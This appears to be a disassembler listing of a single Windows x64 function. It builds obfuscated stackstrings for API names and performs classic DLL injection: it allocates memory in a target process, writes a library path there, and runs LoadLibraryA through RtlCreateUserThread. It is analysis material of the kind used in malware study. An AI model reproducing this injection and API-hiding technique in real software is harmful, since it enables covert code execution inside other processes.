Function at 0x69d46e20
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov r12, rcx
mov rcx, rdx
mov dword [rsp + 0x6c], 0
mov r13, rdx
call sub.msvcrt.dll_strlen
lea rbx, [rsp + 0xb0]
mov ecx, 0x7845
lea rsi, [rsp + 0x90]
mov qword [rsp + 0x58], rax
mov rbp, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movabs rax, 0x32336c656e72656b
mov qword [rsp + 0xb0], rax
movabs rax, 0x416c617574726956
mov word [rsp + 0x9c], cx
mov rcx, rbx
mov qword [rsp + 0x70], 0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x636f6c6c
mov qword [rsp + 0x88], 0xe
mov byte [rsp + 0x9e], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47678
mov rdx, qword [rsp + 0x80]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
test rax, rax
je 0x69d4779a
mov r8d, dword [rsp + 0x58]
mov r9d, 0x1000
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x20], 4
call rax
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
cmp rcx, rsi
je 0x69d46f49
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d46f5b
call fcn.69dfecb0
lea r14, [rsp + 0x80]
lea r15, [rsp + 0x78]
xor r8d, r8d
movabs rax, 0x6c642e6c6c64746e
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 0x6c
mov qword [rsp + 0xa8], 9
mov byte [rsp + 0xb9], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x14
call fcn.69deba40
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x654d6c6175747269
mov qword [rsp + 0x90], rdx
movabs rdx, 0x566574697257744e
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x79726f6d
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d47690
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d47846
mov r9d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov r8, r13
mov rcx, r12
mov qword [rsp + 0x20], 0
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47063
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47075
call fcn.69dfecb0
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x7262694c64616f4c
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x41797261
mov qword [rsp + 0x88], 0xc
mov byte [rsp + 0x9c], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d476b0
mov rdx, qword [rsp + 0x80]
call rdi
mov qword [rsp + 0x58], rax
test rax, rax
je 0x69d4780b
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47122
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47134
call fcn.69dfecb0
movabs rax, 0x6c642e6c6c64746e
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 0x6c
mov qword [rsp + 0xa8], 9
mov byte [rsp + 0xb9], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x13
call fcn.69deba40
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x7268547265735565
mov qword [rsp + 0x90], rdx
movabs rdx, 0x74616572436c7452
mov qword [rax], rdx
mov edx, 0x6165
mov qword [rax + 8], rcx
mov word [rax + 0x10], dx
mov byte [rax + 0x12], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d476d0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d477d9
lea rdx, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x40], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rdx
xor edx, edx
mov qword [rsp + 0x20], 0
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47260
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47272
call fcn.69dfecb0
cmp qword [rsp + 0x70], 0
je 0x69d478d2
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x15
call fcn.69deba40
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x6a624f656c676e69
mov qword [rsp + 0x90], rdx
movabs rdx, 0x53726f4674696157
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x45746365
mov byte [rax + 0x14], 0x78
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d476f0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d47882
mov rcx, qword [rsp + 0x70]
mov r8d, 1
mov edx, 0xffffffff
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47377
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47389
call fcn.69dfecb0
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x11
call fcn.69deba40
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x616572685465646f
mov qword [rsp + 0x90], rdx
movabs rdx, 0x4374697845746547
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d47710
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d479a2
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x6c]
call rax
mov rcx, qword [rsp + 0x80]
mov r14d, eax
cmp rcx, rsi
je 0x69d47478
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d4748a
call fcn.69dfecb0
test r14d, r14d
je 0x69d47981
mov r8d, dword [rsp + 0x6c]
mov rdx, r13
mov rcx, r12
call fcn.69d46310
mov r13, rax
test rax, rax
je 0x69d479ec
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x466c617574726956
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x45656572
mov byte [rsp + 0x9c], 0x78
mov qword [rsp + 0x88], 0xd
mov byte [rsp + 0x9d], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47730
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d47940
mov rdx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r12
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47572
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47584
call fcn.69dfecb0
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x74616e696d726554
mov qword [rsp + 0x90], rax
mov eax, 0x6165
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov dword [rsp + 0x98], 0x72685465
mov word [rsp + 0x9c], ax
mov byte [rsp + 0x9e], 0x64
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x9f], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47750
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d4790e
mov rcx, qword [rsp + 0x70]
xor edx, edx
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d4764a
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d4765c
call fcn.69dfecb0
mov rax, r13
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d46efe
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47023
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d470f8
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d471f5
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47340
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47444
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d4753a
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d4761c
mov r12, rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d4777b
call fcn.69dfecb0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d4778d
call fcn.69dfecb0
mov rcx, r12
call fcn.69d5d120
mov r12, rax
jmp 0x69d4777b
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
mov rcx, r13
mov r12, rax
call fcn.69dff130
jmp 0x69d47769
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
jmp 0x69d477cc
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
jmp 0x69d47766
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
jmp 0x69d47766
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.rtlThread_error
mov rcx, rax
mov r12, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r12
call fcn.69dff600
jmp 0x69d47766
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
jmp 0x69d477cc
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.69dd9490
jmp 0x69d478ee
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd9490
lea r8, [fcn.69dd95c0]
lea rdx, [0x69e0d5c0]
mov rcx, r13
call fcn.69dff600
mov r13, rax
mov rcx, r12
call fcn.69dff130
mov rcx, r13
call fcn.69d5d120
jmp 0x69d477cc
mov ecx, 0x10
call fcn.69dfede0
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.69dd9490
jmp 0x69d478ee